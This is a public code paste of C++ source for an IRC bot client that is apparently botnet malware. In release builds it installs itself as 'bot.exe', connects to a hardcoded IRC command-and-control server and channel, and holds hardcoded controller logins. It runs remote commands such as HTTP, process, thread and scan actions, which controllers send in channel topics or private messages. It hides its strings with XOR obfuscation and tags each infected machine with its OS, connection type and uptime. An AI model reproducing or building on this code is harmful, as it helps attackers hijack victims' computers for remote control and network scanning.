All pastes #612834 Raw Edit

cIrc

public cpp v1 · immutable
·published 2007-07-10 17:23 UTC
rendered paste body
/*#include <windows.h>#include <stdio.h>#include <sstream>#include "IrcBase.h"#include "Commands.h"#include "UserManagement.h"#include "cXorString.h"#include "Startup.h"#include "Debug.h"*/#include "Includes.h"#pragma warning ( disable:4172 )#ifdef _DEBUGint main(int argc, char *argv[])#elseint APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)#endif{	#ifndef _DEBUG	gStartup.Install(		/*bot.exe*/XorStr<0x26,8,0xB874C7F4>("\x44\x48\x5C\x07\x4F\x53\x49"+0xB874C7F4).s,		/*This is a bot*/XorStr<0x66,14,0xF821DEAE>("\x32\x0F\x01\x1A\x4A\x02\x1F\x4D\x0F\x4F\x12\x1E\x06"+0xF821DEAE).s,		/*This is a bot*/XorStr<0x66,14,0xF821DEAE>("\x32\x0F\x01\x1A\x4A\x02\x1F\x4D\x0F\x4F\x12\x1E\x06"+0xF821DEAE).s		);	#endif	#ifndef INSTALL_SERVICE		BotMain();	#endif	return 0;}void WINAPI BotMain(){	WSADATA wsaData;	WSAStartup(MAKEWORD(1,1),&wsaData);	cIrc gIrc;	//gUsr.AddUser(	//	/*pooface*/XorStr<0x1F,8,0xBD088BF6>("\x6F\x4F\x4E\x44\x42\x47\x40"+0xBD088BF6).s,	//	/*lolkthx*/XorStr<0xCE,8,0x958B88BB>("\xA2\xA0\xBC\xBA\xA6\xBB\xAC"+0x958B88BB).s,	//	/**!*@*.co.nz*/XorStr<0xDE,12,0x4D042104>("\xF4\xFE\xCA\xA1\xC8\xCD\x87\x8A\xC8\x89\x92"+0x4D042104).s	//);	gUsr.AddUser("g","hax","*!*@*");	gUsr.AddUser("mc0","haxrno1","*!*@*.for.m0ney.org");	gUsr.AddUser("x","hax","*!*@*");	gUsr.AddUser("ink","haxrno1","*!*@*");	gIrc.AddServer(/*irc.pen15krew.com*/XorStr<0x8A,18,0xD9743333>("\xE3\xF9\xEF\xA3\xFE\xEA\xFE\xA0\xA7\xF8\xE6\xF0\xE1\xB9\xFB\xF6\xF7"+0xD9743333).s,"",7998);	gIrc.AddChan(/*#og*/XorStr<0xC1,4,0x5803C28F>("\xE2\xAD\xA4"+0x5803C28F).s,				 "");	gIrc.cmds.AddCommand(/*/public*/XorStr<0x7B,8,0xDB79A1FA>("\x54\x0C\x08\x1C\x13\xE9\xE2"+0xDB79A1FA).s,&irc_publiccmd,true);	gIrc.cmds.AddCommand(/*/bot*/XorStr<0xE4,5,0x0D019BD2>("\xCB\x87\x89\x93"+0x0D019BD2).s,&irc_botcmd,false);	gIrc.cmds.AddCommand(/*/http*/XorStr<0x5F,6,0x5BDBC0D4>("\x70\x08\x15\x16\x13"+0x5BDBC0D4).s,&irc_httpcmd,false);	gIrc.cmds.AddCommand(/*/threads*/XorStr<0x39,9,0x87FB282B>("\x16\x4E\x53\x4E\x58\x5F\x5B\x33"+0x87FB282B).s,&irc_threadscmd,false);	gIrc.cmds.AddCommand(/*/process*/XorStr<0x07,9,0xB45265D8>("\x28\x78\x7B\x65\x68\x69\x7E\x7D"+0xB45265D8).s,&irc_processcmd,false);	gIrc.cmds.AddCommand(/*/scan*/XorStr<0x45,6,0x69187B47>("\x6A\x35\x24\x29\x27"+0x69187B47).s,&irc_scancmd,false);	while (1)	{		for (int i = 0; i < (int)gIrc.gServers.size(); i++)		{			if (gIrc.start(gIrc.gServers[i].szServer,gIrc.gServers[i].iPort,gIrc.gServers[i].szPass))			{				gIrc.recvloop();			}		}	}	WSACleanup();}cIrc::cIrc(){	rnd_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";	bConnected = false;}bool WINAPI cIrc::start(char* szServer,int iPort,char* szPassword){	if (bConnected) return false;	LPHOSTENT	hostEntry;	IN_ADDR		inAddr;	SOCKADDR_IN serverInfo;	char		szSendBuf[512];	// set socket information	memset(&serverInfo,0,sizeof(serverInfo));	serverInfo.sin_family = AF_INET;	serverInfo.sin_port = htons(iPort);	// resolve hostname or ip	inAddr.s_addr = inet_addr(szServer);	if (inAddr.s_addr == INADDR_NONE) hostEntry = gethostbyname(szServer);	if (hostEntry == NULL)		hostEntry = gethostbyaddr((const char *)&inAddr, sizeof(struct in_addr), AF_INET);	if (hostEntry == NULL)		return false;	serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);	// create socket	irc_socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);	if (irc_socket == INVALID_SOCKET)		return false;	// try and connect	if (connect(irc_socket,(LPSOCKADDR)&serverInfo,sizeof(struct sockaddr)) == SOCKET_ERROR)		return false;	// setup + send send user info	rnduser(szIdent);	rndnick(szNick);	sprintf(szSendBuf, "%s %s\r\n",/*PASS*/XorStr<0xFB,5,0x864CB45B>("\xAB\xBD\xAE\xAD"+0x864CB45B).s, szPassword);		#ifdef _DEBUG	DebugConsole("Sending ... %s",szSendBuf);	#endif	send(irc_socket,szSendBuf,strlen(szSendBuf),0);	sprintf(szSendBuf,"%s %s\r\n"		"%s %s \"\" \"%s\" :%s\r\n",		/*NICK*/XorStr<0xF0,5,0xA8892AB5>("\xBE\xB8\xB1\xB8"+0xA8892AB5).s,szNick,/*USER*/XorStr<0x7C,5,0x3FCD23E8>("\x29\x2E\x3B\x2D"+0x3FCD23E8).s,szIdent,szIdent,szIdent);		#ifdef _DEBUG	DebugConsole("Sending ... %s",szSendBuf);	#endif	if (send(irc_socket,szSendBuf,strlen(szSendBuf),0) == SOCKET_ERROR)		return false;	// set connected variable	bConnected = true;	return true;}void cIrc::recvloop(){	int iRecv;	while (1)	{		memset(recv_buff,0,sizeof(recv_buff));		iRecv = recv(irc_socket,recv_buff,1023,0);		if (!iRecv || iRecv == SOCKET_ERROR || !bConnected) break;		recv_buff[iRecv] = 0x00;		split_line(recv_buff);	}}void cIrc::split_line(char* szLine){	vector <string> szTmpLine;	szTmpLine = ParseIRCBuffer(szLine, "\r\n");	for (int k=0;k<szTmpLine.size();k++) {		vector <string> iBuffer; 		iBuffer = ParseIRCBuffer(szTmpLine[k], " ");		if (iBuffer.size()>1) {			parse_line(iBuffer);			#ifdef _DEBUG			DebugConsole((char*)szTmpLine[k].c_str());			#endif		}	}}void cIrc::parse_line(vector <string> szParam){	if (!bConnected) return;	std::string szSendBuf;	if(szParam[0].compare(/*PING*/XorStr<0x5F,5,0x85ABD8E9>("\x0F\x29\x2F\x25"+0x85ABD8E9).s) == 0)	{		szSendBuf = /*PONG */XorStr<0xF8,6,0x6327031E>("\xA8\xB6\xB4\xBC\xDC"+0x6327031E).s;		szSendBuf += szParam[1];#ifdef _DEBUG		DebugConsole("-> %s",szSendBuf.c_str());#endif		send(irc_socket,szSendBuf.c_str(),szSendBuf.length(),0);	}	else if (szParam[1].compare("001") == 0)	{			}	else if (szParam[1].compare("005") == 0)	{		for (int i = 0; i < gChans.size(); i++) join(gChans[i].szChan,gChans[i].szPass);	}	else if (szParam[1].compare("433") == 0)	{		rndnick(szNick);		nick(szNick);	}	else if (szParam[1].compare(/*KICK*/XorStr<0xD6,5,0x4630A762>("\x9D\x9E\x9B\x92"+0x4630A762).s) == 0)	{		for(int i = 0;i < (int)gChans.size();i++)		{			if(!strcmp(szParam[2].c_str(),gChans[i].szChan))			{				join(gChans[i].szChan,gChans[i].szPass);				break;			}		}	}	else if (szParam[1].compare(/*TOPIC*/XorStr<0x49,6,0x75F93D29>("\x1D\x05\x1B\x05\x0E"+0x75F93D29).s) == 0 ||			 szParam[1].compare("332") == 0)	{		parse_cmd(szParam,true);	}	else if (szParam[1].compare(/*PRIVMSG*/XorStr<0x6B,8,0x9D550FF6>("\x3B\x3E\x24\x38\x22\x23\x36"+0x9D550FF6).s) == 0)	{		parse_cmd(szParam,false);	}}void cIrc::parse_cmd(vector<std::string> szToken, bool bTopic){	host_info hostInfo;	int iTer;	string szSendBuf;	szToken[0] = szToken[0].substr(1,szToken[0].length());	if(szToken[3].find_first_of('#') != string::npos) 	{		iTer = 4;		strcpy(hostInfo.szFullHost,"*!*@*");		strcpy(hostInfo.szHost,"*");		strcpy(hostInfo.szIdent,"*");		strcpy(hostInfo.szNick,"*");	}	else 	{		iTer = 3;			strcpy(hostInfo.szFullHost,szToken[0].c_str());		strcpy(hostInfo.szHost,szToken[0].substr(szToken[0].find_first_of('@'),szToken[0].find_first_of(' ')).c_str());		strcpy(hostInfo.szIdent,szToken[0].substr(szToken[0].find_first_of('!'),szToken[0].find_first_of('@')).c_str());		strcpy(hostInfo.szNick,szToken[0].substr(0,szToken[0].find_first_of('!')).c_str());	}	strcpy(hostInfo.szTarget,szToken[iTer-1].c_str());	hostInfo.bSilent = false;	hostInfo.Socket = irc_socket;	hostInfo.gIrc = ((cIrc)*this);	szToken.erase(szToken.begin(), szToken.begin() + iTer);	szToken[0] = szToken[0].substr(1,szToken[0].length());	for(int i = 0;i < szToken.size();i++) 	{		if(szToken[i].compare("-s") == 0) hostInfo.bSilent = true;	}	int iCmd = cmds.FindCommand(szToken[0].c_str());	#ifdef _DEBUG	DebugConsole("Cmd -> %s (%d)",szToken[0].c_str(),iCmd);	#endif	if (iCmd != -1)	{		if(!gUsr.IsLoggedIn(hostInfo.szNick) && cmds.Commands[iCmd].bAllAccess)		{			#ifdef _DEBUG			DebugConsole("DEBUG -> All Access Command Executed.");			#endif			cmds.Commands[iCmd].function(szToken,hostInfo);		}		else if (gUsr.IsLoggedIn(hostInfo.szNick) || bTopic)			cmds.Commands[iCmd].function(szToken,hostInfo);	}}vector <string> cIrc::ParseIRCBuffer(string vBuffer, string type){	vector <string> contents;	int currentpos = -1;	int prevpos = 0;	int counter = 0;	while (1)	{		currentpos = vBuffer.find(type, prevpos);		if (currentpos == -1) break;		contents.push_back(vBuffer.substr(prevpos, currentpos-prevpos));		prevpos = currentpos+type.length();	}	contents.push_back(vBuffer.substr(prevpos, vBuffer.length()-prevpos-type.length()+1));	return contents; }void cIrc::rndnick(char* szBuf){	memset(szBuf,0,sizeof(szBuf));	string szTemp("[");	srand(GetTickCount());	szTemp.append(GetConnectionType(false));	szTemp.append(SystemOS(false));	szTemp.append(GetUptime(false));	szTemp.append("]");	for (int i = 0;i < 8;i++) szTemp += rnd_chars[(rand()%strlen(rnd_chars))];	szTemp.copy(szBuf,szTemp.length());}void cIrc::rnduser(char* szBuf){	memset(szBuf,0,sizeof(szBuf));	srand(GetTickCount());	szBuf[0] = rnd_chars[(rand()%52)];	for (int i = 1; i < 8; i++) szBuf[i] = rnd_chars[(rand()%strlen(rnd_chars))];	szBuf[i] = 0x00;}void cIrc::disconnect(){	if (bConnected)	{		quit(/*Leaving*/XorStr<0x29,8,0x48C9C2AB>("\x65\x4F\x4A\x5A\x44\x40\x48"+0x48C9C2AB).s);		bConnected=false;		closesocket(irc_socket);	}}int cIrc::quit(char* quit_message){	char sendbuf[512];	if (bConnected)	{		if (quit_message)			sprintf(sendbuf, "%s :%s\r\n",/*QUIT*/XorStr<0x22,5,0xB986F1C4>("\x73\x76\x6D\x71"+0xB986F1C4).s,quit_message);		else			sprintf(sendbuf, "%s\r\n",/*QUIT*/XorStr<0x22,5,0xB986F1C4>("\x73\x76\x6D\x71"+0xB986F1C4).s);		send(irc_socket,sendbuf,strlen(sendbuf),0);	}	return 0;}int cIrc::notice(char* target, char* message){	if (!bConnected)		return 1;	char sendbuf[512];	sprintf(sendbuf, "%s %s :%s\r\n",/*NOTICE*/XorStr<0x09,7,0x114512D8>("\x47\x45\x5F\x45\x4E\x4B"+0x114512D8).s, target, message);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}int cIrc::notice(char* fmt, ...){	va_list argp;	//char* target;		if (!bConnected)		return 1;	char sendbuf[512];	va_start(argp, fmt);	sprintf(sendbuf, "%s %s :",/*NOTICE*/XorStr<0x09,7,0x114512D8>("\x47\x45\x5F\x45\x4E\x4B"+0x114512D8).s, fmt);	vsprintf(sendbuf, va_arg(argp, char*), argp);	va_end(argp);	sprintf(sendbuf, "\r\n");	return send(irc_socket,sendbuf,strlen(sendbuf),0);}/*int cIrc::privmsg(char* target, char* message){	if (!bConnected)		return 1;	char sendbuf[512];	sprintf(sendbuf, "%s %s :%s\r\n",/*PRIVMSG* /XorStr<0xE4,8,0x1384AE7A>("\xB4\xB7\xAF\xB1\xA5\xBA\xAD"+0x1384AE7A).s, target, message);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}	int cIrc::privmsg(char* fmt, ...){	va_list argp;	//char* target;		if (!bConnected)		return 1;	char sendbuf[512];	va_start(argp, fmt);	sprintf(sendbuf, "%s %s :",/*PRIVMSG* /XorStr<0xE4,8,0x1384AE7A>("\xB4\xB7\xAF\xB1\xA5\xBA\xAD"+0x1384AE7A).s, fmt);	vsprintf(sendbuf, va_arg(argp, char*), argp);	va_end(argp);	sprintf(sendbuf, "\r\n");	return send(irc_socket,sendbuf,strlen(sendbuf),0);}*/int cIrc::privmsg(char* target, char* message, ...){	if (!bConnected)		return 1;		char tbuffer[(514-(18+10))];	va_list argp;	va_start(argp,message); 	_vsnprintf(tbuffer,sizeof(tbuffer),message,argp);		string szBuf("PRIVMSG ");	szBuf.append(target);	szBuf.append(" :");	szBuf.append(tbuffer);	szBuf.append("\r\n");#ifdef _DEBUG	DebugConsole("-> %s",szBuf.c_str());#endif	int iret=send(irc_socket,szBuf.c_str(),szBuf.length(),0);	Sleep(2000);	return iret;}int cIrc::join(char* channel, char* chanpass){	if (!bConnected)		return 1;	char sendbuf[512];	sprintf(sendbuf, "%s %s %s\r\n",/*JOIN*/XorStr<0x46,5,0x6D3025B5>("\x0C\x08\x01\x07"+0x6D3025B5).s, channel, chanpass);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}int cIrc::part(char* channel){	if (!bConnected)		return 1;	char sendbuf[512];	sprintf(sendbuf, "%s %s\r\n",/*PART*/XorStr<0x61,5,0x7F67F267>("\x31\x23\x31\x30"+0x7F67F267).s, channel);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}int cIrc::raw(char* data){	if (!bConnected)		return 1;	char sendbuf[512];	sprintf(sendbuf, "%s\r\n", data);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}int cIrc::mode(char* channel, char* modes, char* targets){	if (!bConnected)		return 1;	char sendbuf[512];	if (!targets)		sprintf(sendbuf, "%s %s %s\r\n",/*MODE*/XorStr<0x59,5,0xD14C3309>("\x14\x15\x1F\x19"+0xD14C3309).s, channel, modes);	else		sprintf(sendbuf, "%s %s %s %s\r\n",/*MODE*/XorStr<0x59,5,0xD14C3309>("\x14\x15\x1F\x19"+0xD14C3309).s, channel, modes, targets);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}int cIrc::nick(char* newnick){	if (!bConnected)		return 1;	char sendbuf[512];	sprintf(sendbuf, "%s %s\r\n",/*NICK*/XorStr<0x30,5,0x1A910A8B>("\x7E\x78\x71\x78"+0x1A910A8B).s, newnick);	return send(irc_socket,sendbuf,strlen(sendbuf),0);}void cIrc::AddChan(char* szChan,char* szPass){	config_chans tmpChan;	strcpy(tmpChan.szChan,szChan);	strcpy(tmpChan.szPass,szPass);	gChans.push_back(tmpChan);}void cIrc::AddServer(char* szServer,char* szPass,int iPort){	config_servers tmpServ;	tmpServ.iPort = iPort;	strcpy(tmpServ.szServer,szServer);	strcpy(tmpServ.szPass,szPass);	gServers.push_back(tmpServ);}